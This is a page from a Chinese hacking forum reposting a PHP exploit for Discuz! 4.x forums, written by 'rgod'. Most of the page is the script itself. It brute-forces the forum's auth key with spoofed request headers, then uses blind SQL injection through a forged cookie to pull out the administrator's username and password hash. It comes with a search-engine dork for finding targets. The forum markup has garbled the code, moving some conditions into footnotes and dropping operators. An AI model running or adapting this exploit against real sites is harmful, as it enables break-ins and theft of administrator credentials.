首页    新闻    下载    文档    论坛     最新漏洞    黑客教程    数据库    搜索    小榕软件实验室怀旧版    星际争霸WEB版    最新IP准确查询   
名称: 密码:      忘记密码  马上注册
安全知识 :: 漏洞利用

Discuz! 4.x SQL injection / admin credentials disclosure exploit


http://www.gipsky.com/
---转自鬼仔's Blog

注入可得到admin user and psw

其实5.0.0 GBK版本的EXP利用方法也类似

用法:

[img width=500]http://photo.bababian.com/20061105/E8D09F4CD48014220CD6C955EC88FAC9_500.jpg[/img]



[code]
print_r('

---------------------------------------------------------------------------

Discuz! 4.x SQL injection / admin credentials disclosure exploit

by rgod rgod@autistici.org

site: http://retrogod.altervista.org

dork: "powered by discuz!

---------------------------------------------------------------------------

');

if ($argc<3) {

print_r('

---------------------------------------------------------------------------

Usage: php '.$argv[0].' host path OPTIONS

host: target server (ip/hostname)

path: path to discuz

Options:

-p[port]: specify a port other than 80

-P[ip:port]: specify a proxy

Example:

php '.$argv[0].' localhost /discuz/ -P1.1.1.1:80

php '.$argv[0].' localhost /discuz/ -p81

---------------------------------------------------------------------------

');

die;

}

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);



function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i )

{

if [1]

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont ;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

}

return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';



function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while [2] or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

}



$host=$argv[1];

$path=$argv[2];

$port=80;

$proxy="";

for ($i=3; $i<$argc; $i ){

$temp=$argv[$i][0].$argv[$i][1];

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

}

if [3] {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}



echo "please wait...\n";



//from global.func.php

function authcode($string, $operation, $key = '') {

$key = $key ? $key : $GLOBALS['discuz_auth_key'];

$coded = '';

$keylength = 32;

$string = $operation == 'DECODE' ? base64_decode($string) : $string;

for($i = 0; $i < strlen($string); $i = 32) {

$coded .= substr($string, $i, 32) ^ $key;

}

$coded = $operation == 'ENCODE' ? str_replace('=', '', base64_encode($coded)) : $coded;

return $coded;

}



//stolen from install.php

function random($length) {

$hash = '';

$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';

$max = strlen($chars) - 1;

mt_srand[4]){

break;

}

}

$temp = authcode("suntzu\tsuntzu\t".$tt,"ENCODE");

//calculating key...

$key="";

for ($j=0; $j<32; $j ){

for ($i=0; $i<255; $i ){

$aa="";

if ($j<>0){

for ($k=1; $k<=$j; $k ){

$aa.="a";

}

}

$GLOBALS['discuz_auth_key']=$aa.chr($i);

$t = authcode($temp,"DECODE");

if ($t[$j]==$my_string[$j]){

$key.=chr($i);

}

}

}



//echo "AUTH KEY ->".$key."\r\n";

$GLOBALS['discuz_auth_key']=$key;



echo "pwd hash (md5) -> ";

$chars[0]=0;//null

$chars=array_merge($chars,range(48,57)); //numbers

$chars=array_merge($chars,range(97,102));//a-f letters

$j=1;$password="";

while (!strstr($password,chr(0)))

{

for ($i=0; $i<=255; $i )

{

if (in_array($i,$chars))

{

//you can use every char because of base64_decode()...so this bypass magic quotes...

//and some help by extract() to overwrite vars

$sql="999999'/**/UNION/**/SELECT/**/1,1,1,1,1,1,1,1,1,1,1,1,(IF[5]=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*";

$packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n";

$packet.="User-Agent: $agent\r\n";

$packet.="CLIENT-IP: 1.2.3.4\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";\r\n";

$packet.="Accept: text/plain\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

if (eregi("action=groupexpiry",$html)){

$password.=chr($i);echo chr($i);sleep(1);break;

}

}

if ($i==255) {

die("\nExploit failed...");

}

}

$j ;

}



echo "\nadmin user -> ";

$j=1;$admin="";

while (!strstr($admin,chr(0)))

{

for ($i=0; $i<=255; $i )

{

$sql="999999'/**/UNION/**/SELECT/**/1,1,1,1,1,1,1,1,1,1,1,1,(IF[6]=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*";

$packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n";

$packet.="User-Agent: $agent\r\n";

$packet.="CLIENT-IP: 1.2.3.4\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";\r\n";

$packet.="Accept: text/plain\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

if (eregi("action=groupexpiry",$html)){

$admin.=chr($i);echo chr($i);sleep(1);break;

}

if ($i==255) {die("\nExploit failed...");}

}

$j ;

}



function is_hash($hash)

{

if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}

else {return false;}

}



if (is_hash($password)) {

echo "exploit succeeded...";

}

else {

echo "exploit failed...";

}

?>



[/code]
Tags: discuz , sql[/code]
[/code]
附注
  1. ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126
  2. !feof($ock
  3. $path[0]<>'/') or ($path[strlen($path)-1]<>'/'
  4. double)microtime() * 1000000);

    for($i = 0; $i < $length; $i ) {

    $hash .= $chars[mt_rand(0, $max)];

    }

    return $hash;

    }



    $agent="Googlebot/2.1";

    //see sql errors... you need auth key,

    //it's a value mixed up with the random string in cache_settigns.php and your user-agent, so let's ask ;)

    $tt="";for ($i=0; $i<=255; $i ){$tt.=chr($i);}

    while (1)

    {

    $discuz_auth_key=random(32);

    $packet ="GET ".$p."admincp.php?action=recyclebin HTTP/1.0\r\n";

    $packet.="CLIENT-IP: 999.999.999.999\r\n";//spoof

    $packet.="User-Agent: $agent\r\n";

    $packet.="Host: ".$host."\r\n";

    $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$tt,"ENCODE").";\r\n";

    $packet.="Accept: text/plain\r\n";

    $packet.="Connection: Close\r\n\r\n";

    $packet.=$data;

    sendpacketii($packet);

    $html=html_entity_decode($html);

    $html=str_replace("
    ","",$html);

    $t=explode("AND m.password='",$html);

    $t2=explode("' ",$t[1]);

    $pwd_f=$t2[0];

    $t=explode("AND m.secques='",$html);

    $t2=explode("'\n",$t[1]);

    $secques_f=$t2[0];

    $t=explode("AND m.uid='",$html);

    $t2=explode("'\x0d",$t[1]);

    $uid_f=$t2[0];

    $my_string=$pwd_f."\t".$secques_f."\t".$uid_f;

    if ((strlen($my_string)==270) and (!eregi("=",$my_string
  5. ASCII(SUBSTRING(m.password,$j,1
  6. ASCII(SUBSTRING(m.username,$j,1
<< PHP木马加密GUI版工具 PhpWind论坛存在严重跨站和注入漏洞 >>
API:
gipsky.com& 安信网络
网友个人意见,不代表本站立场。对于发言内容,由发表者自负责任。

系统导航

 

Copyright © 2001-2010 安信网络. All Rights Reserved
京ICP备05056747号